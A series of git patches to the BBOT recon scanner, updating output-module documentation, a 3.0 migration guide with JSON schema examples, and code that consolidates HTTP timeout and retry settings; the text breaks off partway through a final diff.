df69dcef90..332f549643 100644 --- a/docs/scanning/index.md +++ b/docs/scanning/index.md @@ -65,7 +65,7 @@ Modules fall into three categories: - **Scan Modules**: - These make up the majority of modules. Examples are `portscan`, `sslcert`, `http`, etc. Enable with `-m`. - **Output Modules**: - - These output scan data to different formats/destinations. `human`, `json`, and `csv` are enabled by default. Enable others with `-om`. (See: [Output](output.md)) + - These output scan data to different formats/destinations. `txt`, `json`, and `csv` are enabled by default. Add others with `-om`, or remove defaults with `-eom`. (See: [Output](output.md)) - **Internal Modules**: - These modules perform essential, common-sense tasks. They are always enabled, unless explicitly disabled via the config (e.g. `-c speculate=false`). - `aggregate`: Summarizes results at the end of a scan diff --git a/docs/scanning/output.md b/docs/scanning/output.md index 463e19e45b..80068d2e31 100644 --- a/docs/scanning/output.md +++ b/docs/scanning/output.md @@ -11,6 +11,36 @@ If you reuse a scan name, it will append to its original output files and levera Multiple simultaneous output formats are possible because of **output modules**. Output modules are similar to normal modules except they are enabled with `-om`. +By default, `csv`, `txt`, and `json` output modules are always enabled. The `-om` flag is **additive** -- it adds modules on top of the defaults: + +```bash +# default output: csv, txt, json +bbot -t evilcorp.com -f subdomain-enum + +# add discord on top of defaults (csv + txt + json + discord) +bbot -t evilcorp.com -f subdomain-enum -om discord + +# add multiple output modules +bbot -t evilcorp.com -f subdomain-enum -om discord slack +``` + +To remove default output modules, use `-eom` (`--exclude-output-modules`): + +```bash +# only json output (exclude csv and txt) +bbot -t evilcorp.com -f subdomain-enum -eom csv txt +``` + +In a preset YAML, the same behavior applies: + +```yaml title="my_preset.yml" +output_modules: + - discord # added on top of defaults + +exclude_output_modules: + - csv # remove csv from defaults +``` + ### STDOUT The `stdout` output module is what you see when you execute BBOT in the terminal. By default it looks the same as the [`txt`](#txt) module, but it has options you can customize. You can filter by event type, choose the data format (`text`, `json`), and which fields you want to see: From b2f53f8059e21d1eedbe561b84f1ae39edfaa66f Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 19 Jun 2026 01:54:42 -0400 Subject: [PATCH 874/912] Don't exclude output modules being tested --- bbot/test/test_step_2/module_tests/base.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/bbot/test/test_step_2/module_tests/base.py b/bbot/test/test_step_2/module_tests/base.py index e1d8c8afe4..2c55ad6724 100644 --- a/bbot/test/test_step_2/module_tests/base.py +++ b/bbot/test/test_step_2/module_tests/base.py @@ -54,11 +54,13 @@ def __init__( seeds = module_test_base.seeds or None + default_output_modules = [m for m in ("csv", "json", "txt") if m not in output_modules] + self.scan = Scanner( *module_test_base.targets, modules=modules, output_modules=output_modules, - exclude_output_modules=["csv", "json", "txt"], + exclude_output_modules=default_output_modules, scan_name=module_test_base._scan_name, config=self.config, seeds=seeds, From 8b1de5ed9ffa38a745a98018f4f415e4a4c33b07 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 19 Jun 2026 08:19:14 -0400 Subject: [PATCH 875/912] Migration guide: add JSON before/after, output module rules, omit_event_types --- docs/migration/3.0_breaking_changes.md | 269 +++++++++++++++++++++---- 1 file changed, 230 insertions(+), 39 deletions(-) diff --git a/docs/migration/3.0_breaking_changes.md b/docs/migration/3.0_breaking_changes.md index 553a35e093..94060906f8 100644 --- a/docs/migration/3.0_breaking_changes.md +++ b/docs/migration/3.0_breaking_changes.md @@ -155,9 +155,9 @@ truth. The module called `http` in 3.0 is **not** the same as the output module called `http` in 2.x. The name was reassigned: - - **`http` (3.0, scan module)** — the replacement for the old `httpx` + - **`http` (3.0, scan module)** -- the replacement for the old `httpx` scan module. Probes URLs over the shared in-process blasthttp client. - - **`output.http` (2.x, output module)** — the webhook-style output module + - **`output.http` (2.x, output module)** -- the webhook-style output module that POSTed events to an arbitrary HTTP endpoint. This is now `output.webhook` in 3.0. @@ -167,8 +167,8 @@ truth. ### New modules worth knowing about -- `http` — replaces `httpx`; runs through the in-process [blasthttp](https://github.com/blacklanternsecurity/blasthttp) client. -- `webbrute` / `webbrute_shortnames` — ffuf replacements, also via blasthttp. +- `http` -- replaces `httpx`; runs through the in-process [blasthttp](https://github.com/blacklanternsecurity/blasthttp) client. +- `webbrute` / `webbrute_shortnames` -- ffuf replacements, also via blasthttp. - `bucket_hetzner`, `shodan_enterprise`, `trajan`, `legba`. - Output: `elastic`, `kafka`, `mongo`, `nats`, `rabbitmq`, `zeromq`. - Lightfuzz submodules `esi` and `ssrf`. @@ -178,7 +178,7 @@ truth. - `BaseModule` no longer has `_event_handler_watchdog_task` as a class attribute and the watchdog is owned by `_setup()`. - New `BaseModule.update_event(event, **kwargs)` and `emit_event(existing_event, - ...)` flow. Passing an existing event to `make_event()` now raises — call + ...)` flow. Passing an existing event to `make_event()` now raises -- call `update_event()` instead. - New `BaseModule.setup_deps()` lifecycle hook (runs alongside `setup()` for pure dependency installation like AI models or wordlists). @@ -187,7 +187,7 @@ truth. - New `accept_seeds` attribute. Defaults to `True` for passive modules, `False` otherwise. Override explicitly if you want different behavior. - `default_discovery_context` now uses `{event.pretty_string}` instead of - `{event.data}` — the latter is now a dict for URL-like events (see below). + `{event.data}` -- the latter is now a dict for URL-like events (see below). - New `BaseModule._is_http_wildcard_host(event)` helper. Returns `True` when the target responds identically to two random paths (catch-all / SPA router). Used by `webbrute`, `lightfuzz`, and `paramminer` to skip hosts @@ -207,8 +207,8 @@ truth. | 2.x | 3.0 | |-----|-----| -| `URL_UNVERIFIED(BaseEvent)` — data is a string | `URL_UNVERIFIED(DictHostEvent)` — data is a dict with `url`, `path`, etc. | -| `URL(URL_UNVERIFIED)` — string data | `URL(URL_UNVERIFIED)` — dict data | +| `URL_UNVERIFIED(BaseEvent)` -- data is a string | `URL_UNVERIFIED(DictHostEvent)` -- data is a dict with `url`, `path`, etc. | +| `URL(URL_UNVERIFIED)` -- string data | `URL(URL_UNVERIFIED)` -- dict data | | `STORAGE_BUCKET(DictEvent, URL_UNVERIFIED)` | `STORAGE_BUCKET(URL_UNVERIFIED)` | | `HTTP_RESPONSE(URL_UNVERIFIED, DictEvent)` | `HTTP_RESPONSE(URL_UNVERIFIED)` | | `DictPathEvent(DictEvent)` | `DictPathEvent(DictHostEvent)` | @@ -235,11 +235,11 @@ that compared or formatted `event.data` for URL events must be updated. ### New event surface -- `event.url` — string URL property (works on URL-like events, returns `""` +- `event.url` -- string URL property (works on URL-like events, returns `""` otherwise). -- `event.pretty_string` — human-readable representation, used in logs and +- `event.pretty_string` -- human-readable representation, used in logs and discovery context. -- `event.host_metadata` — dict of structured per-host metadata (cloud +- `event.host_metadata` -- dict of structured per-host metadata (cloud providers, ASN info, etc.). Replaces the long-tail of `cloud-*` tags. - Mutation helpers `add_resolved_host()`, `update_resolved_hosts()`, `add_dns_child()`, `set_raw_dns_record()`. Direct assignment to the backing @@ -262,10 +262,143 @@ longer added directly. ### ASN as a target type -`ASN:12345` (or `AS12345`) can now be used as a scan target — the seed will be -expanded to its registered CIDRs via the `asndb` library at scan start. ASN -lookups are also wired through the new `bbot_io_api_key` config (or -`BBOT_IO_API_KEY` env var). +`ASN:12345` (or `AS12345`) can now be used as a scan target -- the seed will be +expanded to its registered CIDRs via the `asndb` library at scan start. If the +lookup fails (network error, API unavailable), BBOT retries 3 times with a +3-second delay. If all retries fail, the scan aborts with a message suggesting +you pass CIDR ranges directly instead. + +ASN lookups use the BLS API at `api.bbot.io`. No API key is required -- +unauthenticated users can operate at a reasonable pace. If you want higher rate +limits, set the `bbot_io_api_key` config value (or `BBOT_IO_API_KEY` env var). +Currently the ASN API is the only `api.bbot.io` service BBOT uses, but any +future BLS APIs will work with the same key. + +### SCAN event + +The `SCAN` event now includes a `network` key containing the scanner's hostname, +primary outbound IP, network interfaces (IPv4/IPv6 with netmasks), and default +routes. Useful for correlating scan activity back to a specific agent. + +### JSON output: before and after + +If you have downstream tooling that parses BBOT's NDJSON output, the schema +has changed in several ways. Here is a representative event from each version: + +**2.x -- URL event (string data)** + +```json +{ + "type": "URL", + "id": "URL:ab12cd34...", + "data": "https://www.evilcorp.com/login", + "host": "www.evilcorp.com", + "port": 443, + "resolved_hosts": ["1.2.3.4"], + "dns_children": {}, + "scope_distance": 0, + "scan": "SCAN:deadbeef...", + "timestamp": 1719792000.0, + "parent": "DNS_NAME:ef56ab78...", + "tags": ["in-scope", "status-200", "ip-1.2.3.4", "http-title-Login"], + "module": "httpx", + "module_sequence": "httpx" +} +``` + +**3.0 -- same URL event (dict data)** + +```json +{ + "type": "URL", + "id": "URL:ab12cd34...", + "uuid": "f47ac10b-58cc-4372-a567-0e02b2c3d479", + "data_json": { + "url": "https://www.evilcorp.com/login", + "status_code": 200, + "http_title": "Login" + }, + "host": "www.evilcorp.com", + "port": 443, + "resolved_hosts": ["1.2.3.4"], + "dns_children": {}, + "scope_distance": 0, + "scan": "SCAN:deadbeef...", + "timestamp": 1719792000.0, + "parent": "DNS_NAME:ef56ab78...", + "parent_uuid": "a1b2c3d4-e5f6-7890-abcd-ef1234567890", + "tags": ["in-scope", "status-200"], + "module": "http", + "module_sequence": "http", + "discovery_context": "http probed www.evilcorp.com and found URL: https://www.evilcorp.com/login", + "discovery_path": ["SCAN:deadbeef", "DNS_NAME:www.evilcorp.com", "URL:https://www.evilcorp.com/login"], + "parent_chain": ["SCAN:deadbeef", "DNS_NAME:www.evilcorp.com"], + "host_metadata": {"cloud_provider": "amazon", "asn": 16509} +} +``` + +Key differences for parsers: + +| What changed | 2.x | 3.0 | +|---|---|---| +| URL event data | `"data": "https://..."` (string) | `"data_json": {"url": "https://...", ...}` (dict) | +| Non-URL event data | `"data": "..."` (string) | `"data": "..."` (still a string) | +| Module name for HTTP probing | `"module": "httpx"` | `"module": "http"` | +| Per-host cloud/IP tags | `"ip-1.2.3.4"`, `"http-title-Login"`, `"cloud-amazon"` in tags | Moved to `host_metadata` dict and `data_json` fields; tags simplified | +| Event ID | `"id"` only | `"id"` + new `"uuid"` (globally unique) | +| Parent reference | `"parent"` only | `"parent"` + new `"parent_uuid"` | +| Discovery chain | not present | `"discovery_context"`, `"discovery_path"`, `"parent_chain"` | + +!!! warning "The `data` vs `data_json` split" + When an event's `.data` is a **string** (DNS_NAME, IP_ADDRESS, EMAIL_ADDRESS, + OPEN_TCP_PORT, etc.), the JSON key is `"data"`. When `.data` is a **dict** + (URL, URL_UNVERIFIED, HTTP_RESPONSE, FINDING, STORAGE_BUCKET, etc.), the + JSON key is `"data_json"`. In 2.x, URL events used `"data"` with a string + value. In 3.0, they use `"data_json"` with a dict. Parsers that key on + `"data"` for URL events will silently get nothing back. + +**2.x -- VULNERABILITY event** + +```json +{ + "type": "VULNERABILITY", + "data": { + "host": "www.evilcorp.com", + "severity": "HIGH", + "description": "SQL injection in login form", + "url": "https://www.evilcorp.com/login" + }, + "tags": ["in-scope", "high"] +} +``` + +**3.0 -- equivalent FINDING event** + +```json +{ + "type": "FINDING", + "data_json": { + "host": "www.evilcorp.com", + "severity": "HIGH", + "confidence": "HIGH", + "name": "SQL Injection", + "description": "SQL injection in login form", + "url": "https://www.evilcorp.com/login" + }, + "tags": ["in-scope", "severity-high", "confidence-high"] +} +``` + +Changes: + +- `VULNERABILITY` type is gone; use `FINDING` instead. +- `confidence` is now **required** on every FINDING (one of `UNKNOWN`, `LOW`, + `MEDIUM`, `HIGH`, `CONFIRMED`). +- `name` is now **required** (short label for the finding). +- Severity strings changed: `INFORMATIONAL` is now `INFO`, `MODERATE` is now + `MEDIUM`. +- Tags changed from bare lowercase (`high`) to prefixed + (`severity-high`, `confidence-high`). --- @@ -279,7 +412,7 @@ lookups are also wired through the new `bbot_io_api_key` config (or |---------------------------|---------------------------| | `web.httpx_timeout` | `web.blasthttp_timeout` | | `web.httpx_retries` | `web.blasthttp_retries` | -| `dns.threads` (global) | `dns.threads` (now per-resolver; default lowered from 25 → 10) | +| `dns.threads` (global) | `dns.threads` (now per-resolver; default lowered from 25 -> 10) | | `web.ssl_verify` | split into `web.ssl_verify_target` (default `false`) and `web.ssl_verify_infrastructure` (default `true`) | ### Removed @@ -290,18 +423,19 @@ lookups are also wired through the new `bbot_io_api_key` config (or ### Added -- `max_mem_percent` — global ingress throttle when RSS exceeds the threshold. -- `web.user_agent_suffix` — appended to the user agent (previously buried as a +- `max_mem_percent` -- global ingress throttle when RSS exceeds the threshold. +- `web.user_agent_suffix` -- appended to the user agent (previously buried as a hidden CLI flag). -- `web.http_rate_limit` — global rps cap across the shared blasthttp client. -- `web.http_proxy_exclude` — hosts/CIDRs to exclude from the HTTP proxy +- `web.http_rate_limit` -- global rps cap across the shared blasthttp client. +- `web.http_proxy_exclude` -- hosts/CIDRs to exclude from the HTTP proxy (`NO_PROXY` equivalent). -- `web.body_spill.{enabled,cache_mb,compress}` — disk-spill HTTP response +- `web.body_spill.{enabled,cache_mb,compress}` -- disk-spill HTTP response bodies to keep them off the Python heap. -- `dns.cache_size` — DNS LRU size. -- `bbot_io_api_key` — API key for bbot.io services (currently used by ASN - lookups). -- `dns.abort_threshold` default lowered from `50` → `10`. +- `dns.cache_size` -- DNS LRU size. +- `bbot_io_api_key` -- optional API key for `api.bbot.io` services. Currently + only used by ASN lookups; no key is required for basic use. Future BLS APIs + will share this key. +- `dns.abort_threshold` default lowered from `50` -> `10`. - `dns.filter_ptrs` semantics: PTR-derived hostnames are now treated as affiliates by default rather than being injected as in-scope DNS_NAME events during IP-range scans. @@ -342,6 +476,55 @@ custom curl invocations must switch to `self.helpers.request(...)` / `zeromq`. - Neo4j output now also serializes `host_metadata`. +### Output modules are now purely additive + +In 2.x, specifying `-om` could silently replace the default output modules +depending on whether any of the names overlapped with the defaults. This was +confusing and inconsistent. + +In 3.0, `-om` is always **additive**: it adds modules on top of the defaults +(`csv`, `txt`, `json`, plus `stdout` from the CLI). To remove a default, use +the new `-eom` / `--exclude-output-modules` flag: + +```bash +# defaults (csv, txt, json, stdout) are all enabled +bbot -t evilcorp.com -p subdomain-enum + +# neo4j is added alongside all defaults +bbot -t evilcorp.com -p subdomain-enum -om neo4j + +# json only -- explicitly exclude the other defaults +bbot -t evilcorp.com -p subdomain-enum -eom csv txt stdout +``` + +The same applies in preset YAML (`exclude_output_modules:`) and the Python API +(`Preset(exclude_output_modules=[...])`). + +The `python` output module was also moved from `output/` to `internal/` -- it +was never a real output module, it is the Python API event bridge. + +### Omitted event types + +Certain event types are excluded from output by default via the +`omit_event_types` config. These events are still processed by modules +internally, but they do not appear in JSON, CSV, or stdout output unless +you remove them from the list: + +```yaml +omit_event_types: + - HTTP_RESPONSE + - RAW_TEXT + - URL_UNVERIFIED + - DNS_NAME_UNRESOLVED + - FILESYSTEM + - WEB_PARAMETER + - RAW_DNS_RECORD +``` + +If your downstream tooling relied on seeing `HTTP_RESPONSE` or +`URL_UNVERIFIED` events in the output, you will need to remove them from +`omit_event_types` in your preset or config. + --- ## Dependencies and tooling @@ -356,7 +539,7 @@ custom curl invocations must switch to `self.helpers.request(...)` / `<3.15`. - **Lockstep deps**: - `radixtarget >=4.0.1,<5` (composition pattern, no longer subclassed) - - `cloudcheck >=10.0.0,<11` + - `cloudcheck >=11.0.0,<12` - `blasthttp >=0.9.0` (new) - `blastdns >=1.9.0,<2` (new) - `asndb >=1.0.4` (new) @@ -375,27 +558,35 @@ subclasses, or `bbot.db.sql.models` will need to be ported. in scope. - [ ] Replace `-s` with `-S` for silent runs. - [ ] Drop `--allow-deadly`. -- [ ] Rename module references: `httpx → http`, `ffuf → webbrute`, - `bucket_azure → bucket_microsoft`, `extractous → kreuzberg`, - `output.http → output.webhook`, `censys → censys_dns / censys_ip`. -- [ ] Rename preset references: `web-basic → web`, `web-thorough → web-heavy`, - `*-intense → *-heavy`. -- [ ] Rename module flags: `noisy → loud`, `web-basic → web`, - `web-thorough → web-heavy`. Drop `aggressive` / `deadly`. Add `safe` / +- [ ] Rename module references: `httpx -> http`, `ffuf -> webbrute`, + `bucket_azure -> bucket_microsoft`, `extractous -> kreuzberg`, + `output.http -> output.webhook`, `censys -> censys_dns / censys_ip`. +- [ ] Rename preset references: `web-basic -> web`, `web-thorough -> web-heavy`, + `*-intense -> *-heavy`. +- [ ] Rename module flags: `noisy -> loud`, `web-basic -> web`, + `web-thorough -> web-heavy`. Drop `aggressive` / `deadly`. Add `safe` / `loud` / `invasive` to satisfy the new validation rule. - [ ] Replace any `VULNERABILITY` emit with a `FINDING` carrying `severity=...`. -- [ ] Update FINDING severity strings: `INFORMATIONAL → INFO`, - `MODERATE → MEDIUM`. Add a `confidence` field from the new allowlist. +- [ ] Update FINDING severity strings: `INFORMATIONAL -> INFO`, + `MODERATE -> MEDIUM`. Add a `confidence` field from the new allowlist. - [ ] Stop reading `event.data` for URL events; use `event.url` / `event.pretty_string`. Drop dependencies on `event.confidence` / `cumulative_confidence`. - [ ] Stop mutating `event._resolved_hosts` / `event.dns_children` directly; use the new `add_resolved_host` / `add_dns_child` helpers. -- [ ] Update config keys: `web.httpx_timeout → web.blasthttp_timeout`, - `web.httpx_retries → web.blasthttp_retries`, - `web.ssl_verify → web.ssl_verify_target` / `web.ssl_verify_infrastructure`. -- [ ] Update imports: `bbot.db.sql.models → bbot.models.sql`. +- [ ] Update config keys: `web.httpx_timeout -> web.blasthttp_timeout`, + `web.httpx_retries -> web.blasthttp_retries`, + `web.ssl_verify -> web.ssl_verify_target` / `web.ssl_verify_infrastructure`. +- [ ] Update imports: `bbot.db.sql.models -> bbot.models.sql`. - [ ] If you ship a custom module that watches URLs but doesn't want blasthttp auto-enabled, set `_disable_auto_module_deps = True`. - [ ] Switch your install/build pipeline from Poetry to uv. +- [ ] If you relied on `-om` to replace default output modules, switch to + `-eom` to exclude the ones you don't want (output modules are now + purely additive). +- [ ] Update any JSON parsers that read `event["data"]` for URL events -- + the key is now `"data_json"` and the value is a dict, not a string. + Use `event["data_json"]["url"]` to get the URL string. +- [ ] If your tooling consumed `HTTP_RESPONSE` or `URL_UNVERIFIED` from + output, remove them from `omit_event_types` in your config. From 12139138cd29e20e2ffd290c90f06224349e3707 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 19 Jun 2026 14:20:16 -0400 Subject: [PATCH 876/912] Consolidate http_timeout and blasthttp_timeout into target/infrastructure split --- bbot/core/config/models.py | 3 +-- bbot/core/helpers/web/web.py | 5 +++-- bbot/defaults.yml | 8 +++----- bbot/modules/base.py | 11 ++++++++++- bbot/modules/crt.py | 2 +- bbot/modules/http.py | 11 ++++++++--- bbot/modules/rapiddns.py | 2 +- bbot/modules/wayback.py | 14 ++++++++++---- bbot/scanner/scanner.py | 3 +-- .../test_step_2/module_tests/test_module_http.py | 2 +- 10 files changed, 39 insertions(+), 22 deletions(-) diff --git a/bbot/core/config/models.py b/bbot/core/config/models.py index b22cc93cde..196eb5ce4d 100644 --- a/bbot/core/config/models.py +++ b/bbot/core/config/models.py @@ -282,12 +282,11 @@ class WebConfig(BaseModel): spider_depth: Optional[int] = None spider_links_per_page: Optional[int] = None http_timeout: Optional[int] = None - blasthttp_timeout: Optional[int] = None + http_timeout_infrastructure: Optional[int] = None http_headers: Optional[dict[str, str]] = None http_cookies: Optional[dict[str, str]] = Field(default=None, sensitive=True) api_retries: Optional[int] = None http_retries: Optional[int] = None - blasthttp_retries: Optional[int] = None http_rate_limit: Optional[int] = None body_spill: Optional[BodySpillConfig] = None # The `429_*` keys start with a digit, so we expose them via aliases. diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index 67019d0329..72ffe66e5b 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -79,7 +79,7 @@ def __init__(self, parent_helper): self.ssl_verify_target = self.web_config.get("ssl_verify_target", False) self.ssl_verify_infrastructure = self.web_config.get("ssl_verify_infrastructure", True) # Pre-compute config values for request preprocessing - self._http_timeout = self.web_config.get("http_timeout", 20) + self._http_timeout = self.web_config.get("http_timeout", 10) self._http_retries = self.web_config.get("http_retries", 1) self._http_proxy = self.web_config.get("http_proxy", None) self._http_proxy_exclude = self.web_config.get("http_proxy_exclude", []) or [] @@ -331,7 +331,8 @@ async def request(self, *args, **kwargs): # Classify error for appropriate log level lower = error_msg.lower() if "timeout" in lower: - log.verbose(f"HTTP timeout to URL: {url}") + attempts = blast_kwargs.get("retries", 0) + 1 + log.verbose(f"HTTP timeout to URL: {url} (after {attempts} attempt(s))") elif "connect" in lower or "connection" in lower: log.debug(f"HTTP connect failed to URL: {url}") else: diff --git a/bbot/defaults.yml b/bbot/defaults.yml index b28472948d..a2fdeaade3 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -107,10 +107,10 @@ web: spider_depth: 1 # Set the maximum number of links that can be followed per page spider_links_per_page: 25 - # HTTP timeout (for Python requests; API calls, etc.) + # HTTP timeout for target-directed traffic (probes, crawls, etc.) http_timeout: 10 - # HTTP timeout (for blasthttp) - blasthttp_timeout: 5 + # HTTP timeout for non-target traffic (APIs, wordlist downloads, etc.) + http_timeout_infrastructure: 10 # Custom HTTP headers (e.g. cookies, etc.) # in the format { "Header-Key": "header_value" } # These are attached to all in-scope HTTP requests @@ -122,8 +122,6 @@ web: api_retries: 2 # HTTP retries - try again if the raw connection fails http_retries: 1 - # HTTP retries (for blasthttp) - blasthttp_retries: 1 # Default sleep interval when rate limited by 429 (and retry-after isn't provided) 429_sleep_interval: 30 # Maximum sleep interval when rate limited by 429 (and an excessive retry-after is provided) diff --git a/bbot/modules/base.py b/bbot/modules/base.py index 771458d923..4b911f3d89 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -1342,6 +1342,8 @@ async def api_request(self, *args, **kwargs): kwargs["headers"] = {} if "ssl_verify" not in kwargs: kwargs["ssl_verify"] = self.helpers.web.ssl_verify_infrastructure + if "timeout" not in kwargs: + kwargs["timeout"] = self.http_timeout_infrastructure new_url, kwargs = self.prepare_api_request(url, kwargs) kwargs["url"] = new_url @@ -1553,10 +1555,17 @@ def auth_required(self): @property def http_timeout(self): """ - Convenience shortcut to `http_timeout` in the config + Convenience shortcut to `http_timeout` in the config (target-directed traffic) """ return self.scan.web_config.get("http_timeout", 10) + @property + def http_timeout_infrastructure(self): + """ + Convenience shortcut to `http_timeout_infrastructure` in the config (APIs, wordlist downloads, etc.) + """ + return self.scan.web_config.get("http_timeout_infrastructure", 10) + @property def log(self): if getattr(self, "_log", None) is None: diff --git a/bbot/modules/crt.py b/bbot/modules/crt.py index e977ddccbd..ed435ccd3f 100644 --- a/bbot/modules/crt.py +++ b/bbot/modules/crt.py @@ -21,7 +21,7 @@ async def setup(self): async def request_url(self, query): params = {"q": f"%.{query}", "output": "json"} url = self.helpers.add_get_params(self.base_url, params).geturl() - return await self.api_request(url, timeout=self.http_timeout + 30) + return await self.api_request(url, timeout=self.http_timeout_infrastructure + 30) def _api_response_is_success(self, r): # crt.sh returns 404/503 transiently; the default treats 404 as "no data" which is wrong here diff --git a/bbot/modules/http.py b/bbot/modules/http.py index 7b6655e5b7..3eab008bf0 100644 --- a/bbot/modules/http.py +++ b/bbot/modules/http.py @@ -185,7 +185,12 @@ def _response_to_json(self, url_input, response): async def _process_result(self, result, parent_event): """Emit URL + HTTP_RESPONSE events for one batch result. Returns True if status was usable.""" if not result.success: - self.debug(f"blasthttp error for {result.url}: {result.error}") + error_str = str(result.error) + retries = self.scan.http_retries + if "timeout" in error_str.lower(): + self.verbose(f"HTTP timeout for {result.url} (after {retries + 1} attempt(s))") + else: + self.debug(f"HTTP error for {result.url}: {error_str}") return False response = result.response @@ -295,8 +300,8 @@ async def handle_batch(self, *events): headers = self._build_headers() proxy = self.scan.http_proxy or None - timeout = self.scan.blasthttp_timeout - retries = self.scan.blasthttp_retries + timeout = self.scan.http_timeout + retries = self.scan.http_retries configs = [] for url in stdin: diff --git a/bbot/modules/rapiddns.py b/bbot/modules/rapiddns.py index 1e0667b70e..98252b71c5 100644 --- a/bbot/modules/rapiddns.py +++ b/bbot/modules/rapiddns.py @@ -15,7 +15,7 @@ class rapiddns(subdomain_enum): async def request_url(self, query): url = f"{self.base_url}/subdomain/{self.helpers.quote(query)}?full=1#result" - response = await self.api_request(url, timeout=self.http_timeout + 10) + response = await self.api_request(url, timeout=self.http_timeout_infrastructure + 10) return response async def parse_results(self, r, query): diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index 048e5422a4..6e785c9fb8 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -252,7 +252,7 @@ async def _check_interesting_files(self, interesting_files, event): for archive_url, (cleaned_url, raw_url) in url_metadata.items(): try: r = await self.helpers.request( - archive_url, method="HEAD", timeout=self.http_timeout + 30, follow_redirects=True + archive_url, method="HEAD", timeout=self.http_timeout_infrastructure + 30, follow_redirects=True ) except Exception as e: self.debug(f"Interesting file HEAD check error for {raw_url}: {e}") @@ -320,7 +320,9 @@ async def _fetch_cdx(self, query): last_error = None for i in range(3): try: - r = await self.helpers.request(waybackurl, timeout=self.http_timeout + 60, raise_error=True) + r = await self.helpers.request( + waybackurl, timeout=self.http_timeout_infrastructure + 60, raise_error=True + ) except Exception as e: last_error = str(e) r = None @@ -610,7 +612,11 @@ async def _resolve_archive_url(self, archive_url, raw_url): """ try: r = await self.helpers.request( - archive_url, method="HEAD", timeout=self.http_timeout + 30, follow_redirects=True, raise_error=True + archive_url, + method="HEAD", + timeout=self.http_timeout_infrastructure + 30, + follow_redirects=True, + raise_error=True, ) except Exception as e: self.debug(f"HEAD pre-check failed for {raw_url}: {e}") @@ -638,7 +644,7 @@ async def _fetch_single_archive_url(self, archive_url, raw_url): for attempt in range(self._archive_per_request_retries): try: r = await self.helpers.request( - archive_url, timeout=self.http_timeout + 60, follow_redirects=True, raise_error=True + archive_url, timeout=self.http_timeout_infrastructure + 60, follow_redirects=True, raise_error=True ) except Exception as e: r = None diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index a223e6751a..9ca7fa489e 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -253,9 +253,8 @@ def __init__( self.http_proxy = web_config.get("http_proxy", "") self.http_proxy_exclude = web_config.get("http_proxy_exclude", []) self.http_timeout = web_config.get("http_timeout", 10) - self.blasthttp_timeout = web_config.get("blasthttp_timeout", 5) + self.http_timeout_infrastructure = web_config.get("http_timeout_infrastructure", 10) self.http_retries = web_config.get("http_retries", 1) - self.blasthttp_retries = web_config.get("blasthttp_retries", 1) self.useragent = f"{web_config.get('user_agent', 'BBOT')} {web_config.get('user_agent_suffix') or ''}".strip() # custom HTTP headers warning self.custom_http_headers = web_config.get("http_headers", {}) diff --git a/bbot/test/test_step_2/module_tests/test_module_http.py b/bbot/test/test_step_2/module_tests/test_module_http.py index e934a87fc7..cb2c46790d 100644 --- a/bbot/test/test_step_2/module_tests/test_module_http.py +++ b/bbot/test/test_step_2/module_tests/test_module_http.py @@ -180,7 +180,7 @@ def check(self, module_test, events): class TestHTTP_429_retry(ModuleTestBase): """Test the module's own defer→cooldown→retry→succeed path. - blasthttp_retries=1 means blasthttp makes up to 2 wire attempts per request. + http_retries=1 means blasthttp makes up to 2 wire attempts per request. We return 429 for the first 2 requests (exhausting blasthttp's retry), so the module's 429 handler engages and defers with a cooldown. The 3rd request (from the module's retry after cooldown) succeeds. From df81eb3c3d6393980ab1e501038c6ec082e11578 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 19 Jun 2026 14:22:21 -0400 Subject: [PATCH 877/912] Update docs for timeout consolidation and ssl_verify split --- docs/scanning/configuration.md | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/docs/scanning/configuration.md b/docs/scanning/configuration.md index ef2f680956..6bdacb6db3 100644 --- a/docs/scanning/configuration.md +++ b/docs/scanning/configuration.md @@ -164,10 +164,10 @@ web: spider_depth: 1 # Set the maximum number of links that can be followed per page spider_links_per_page: 25 - # HTTP timeout (for Python requests; API calls, etc.) + # HTTP timeout for target-directed traffic (probes, crawls, etc.) http_timeout: 10 - # HTTP timeout (for blasthttp) - blasthttp_timeout: 5 + # HTTP timeout for non-target traffic (APIs, wordlist downloads, etc.) + http_timeout_infrastructure: 10 # Custom HTTP headers (e.g. cookies, etc.) # in the format { "Header-Key": "header_value" } # These are attached to all in-scope HTTP requests @@ -179,8 +179,6 @@ web: api_retries: 2 # HTTP retries - try again if the raw connection fails http_retries: 1 - # HTTP retries (for blasthttp) - blasthttp_retries: 1 # Default sleep interval when rate limited by 429 (and retry-after isn't provided) 429_sleep_interval: 30 # Maximum sleep interval when rate limited by 429 (and an excessive retry-after is provided) @@ -189,8 +187,10 @@ web: debug: false # Maximum number of HTTP redirects to follow http_max_redirects: 5 - # Whether to verify SSL certificates - ssl_verify: false + # Whether to verify SSL certificates for target-directed traffic (probes, crawls, etc.) + ssl_verify_target: false + # Whether to verify SSL certificates for non-target traffic (APIs, wordlist downloads, etc.) + ssl_verify_infrastructure: true # Maximum HTTP requests per second (0 = unlimited) # Applies globally across all blasthttp consumers (http probing, web brute, etc.) http_rate_limit: 0 From f3575cc5fbdc1c085663918b96b9a2249484995a Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 19 Jun 2026 14:25:11 -0400 Subject: [PATCH 878/912] Update migration guide for timeout consolidation and ssl_verify split --- docs/migration/3.0_breaking_changes.md | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/docs/migration/3.0_breaking_changes.md b/docs/migration/3.0_breaking_changes.md index 94060906f8..efe0dfd207 100644 --- a/docs/migration/3.0_breaking_changes.md +++ b/docs/migration/3.0_breaking_changes.md @@ -410,10 +410,12 @@ Changes: | 2.x | 3.0 | |---------------------------|---------------------------| -| `web.httpx_timeout` | 